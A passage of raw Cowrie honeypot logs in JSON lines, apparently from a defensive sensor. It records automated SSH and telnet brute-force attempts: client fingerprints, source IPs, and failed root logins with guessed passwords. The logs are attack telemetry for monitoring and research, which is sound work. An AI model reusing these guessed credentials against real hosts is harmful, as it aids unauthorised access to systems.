],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:57:28.788897Z","src_ip":"193.37.70.224","session":"63d837e8714e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"a12321","message":"login attempt [root/a12321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:57:29.073799Z","src_ip":"193.37.70.224","session":"63d837e8714e","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:57:29.753042Z","src_ip":"101.126.22.12","session":"8109147d9637","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:57:29.756730Z","src_ip":"101.126.22.12","session":"8109147d9637","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:57:30.171204Z","src_ip":"193.37.70.224","session":"63d837e8714e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.211.215","src_port":52086,"dst_ip":"10.17.0.5","dst_port":22,"session":"f19264e5f80a","protocol":"ssh","message":"New connection: 147.45.211.215:52086 (10.17.0.5:22) [session: f19264e5f80a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:57:30.579374Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:57:30.583955Z","src_ip":"147.45.211.215","session":"f19264e5f80a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"password123!","message":"login attempt [root/password123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:57:30.631666Z","src_ip":"101.126.22.12","session":"8109147d9637","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:57:30.762908Z","src_ip":"147.45.211.215","session":"f19264e5f80a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"alexey","message":"login attempt [root/alexey] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:57:31.305054Z","src_ip":"147.45.211.215","session":"f19264e5f80a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:57:32.487926Z","src_ip":"147.45.211.215","session":"f19264e5f80a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.156.237.246","src_port":44776,"dst_ip":"159.203.135.109","dst_port":22,"session":"74136dc85f1e","protocol":"ssh","message":"New connection: 43.156.237.246:44776 (159.203.135.109:22) [session: 74136dc85f1e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:57:41.603443Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:57:41.607567Z","src_ip":"43.156.237.246","session":"74136dc85f1e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:57:41.845650Z","src_ip":"43.156.237.246","session":"74136dc85f1e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456789a","message":"login attempt [root/123456789a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:57:42.830469Z","src_ip":"43.156.237.246","session":"74136dc85f1e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:57:44.071431Z","src_ip":"43.156.237.246","session":"74136dc85f1e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":37376,"dst_ip":"10.17.0.5","dst_port":23,"session":"99b7ea982c0d","protocol":"telnet","message":"New connection: 192.119.13.58:37376 (10.17.0.5:23) [session: 99b7ea982c0d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:57:49.749962Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":47990,"dst_ip":"10.17.0.5","dst_port":23,"session":"1457ede7bb42","protocol":"telnet","message":"New connection: 192.119.13.58:47990 (10.17.0.5:23) [session: 1457ede7bb42]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:57:52.362066Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.236.22.41","src_port":56086,"dst_ip":"10.17.0.5","dst_port":22,"session":"dda56cd3efbb","protocol":"ssh","message":"New connection: 185.236.22.41:56086 (10.17.0.5:22) [session: dda56cd3efbb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:57:58.584547Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:57:58.588680Z","src_ip":"185.236.22.41","session":"dda56cd3efbb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:57:58.711856Z","src_ip":"185.236.22.41","session":"dda56cd3efbb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"d","message":"login attempt [root/d] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:57:59.091087Z","src_ip":"185.236.22.41","session":"dda56cd3efbb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:58:00.223377Z","src_ip":"185.236.22.41","session":"dda56cd3efbb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.150.26","src_port":34668,"dst_ip":"159.203.135.109","dst_port":22,"session":"3c94aa292287","protocol":"ssh","message":"New connection: 152.32.150.26:34668 (159.203.135.109:22) [session: 3c94aa292287]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:58:01.096833Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:58:01.102511Z","src_ip":"152.32.150.26","session":"3c94aa292287","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:58:01.330527Z","src_ip":"152.32.150.26","session":"3c94aa292287","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"teste1234","message":"login attempt [root/teste1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:58:01.361683Z","src_ip":"152.32.150.26","session":"3c94aa292287","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:58:02.376446Z","src_ip":"152.32.150.26","session":"3c94aa292287","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.195.16.41","src_port":41229,"dst_ip":"159.203.135.109","dst_port":23,"session":"7339f9b17eb3","protocol":"telnet","message":"New connection: 186.195.16.41:41229 (159.203.135.109:23) [session: 7339f9b17eb3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:58:05.010977Z"}
{"eventid":"cowrie.session.connect","src_ip":"115.178.75.242","src_port":51724,"dst_ip":"159.203.135.109","dst_port":22,"session":"0e7ebd283681","protocol":"ssh","message":"New connection: 115.178.75.242:51724 (159.203.135.109:22) [session: 0e7ebd283681]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:58:05.856929Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:58:05.866073Z","src_ip":"115.178.75.242","session":"0e7ebd283681","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:58:06.041130Z","src_ip":"115.178.75.242","session":"0e7ebd283681","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"13245","message":"login attempt [root/13245] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:58:06.773296Z","src_ip":"115.178.75.242","session":"0e7ebd283681","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:58:07.952311Z","src_ip":"115.178.75.242","session":"0e7ebd283681","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"163.227.230.54","src_port":50164,"dst_ip":"159.203.135.109","dst_port":22,"session":"13f933666dca","protocol":"ssh","message":"New connection: 163.227.230.54:50164 (159.203.135.109:22) [session: 13f933666dca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:58:08.403317Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:58:08.407470Z","src_ip":"163.227.230.54","session":"13f933666dca","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:58:08.655023Z","src_ip":"163.227.230.54","session":"13f933666dca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"junior","message":"login attempt [root/junior] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:58:09.678785Z","src_ip":"163.227.230.54","session":"13f933666dca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"115.190.168.136","src_port":51830,"dst_ip":"159.203.135.109","dst_port":22,"session":"16903a79773c","protocol":"ssh","message":"New connection: 115.190.168.136:51830 (159.203.135.109:22) [session: 16903a79773c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:58:09.975923Z"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:58:10.929996Z","src_ip":"163.227.230.54","session":"13f933666dca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.20.28","src_port":59864,"dst_ip":"10.17.0.5","dst_port":22,"session":"3a929dee40a8","protocol":"ssh","message":"New connection: 103.82.20.28:59864 (10.17.0.5:22) [session: 3a929dee40a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:58:11.256949Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:58:11.266231Z","src_ip":"103.82.20.28","session":"3a929dee40a8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:58:11.529750Z","src_ip":"103.82.20.28","session":"3a929dee40a8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"481516234","message":"login attempt [root/481516234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:58:12.318424Z","src_ip":"103.82.20.28","session":"3a929dee40a8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:58:13.584137Z","src_ip":"103.82.20.28","session":"3a929dee40a8","protocol":"ssh"}
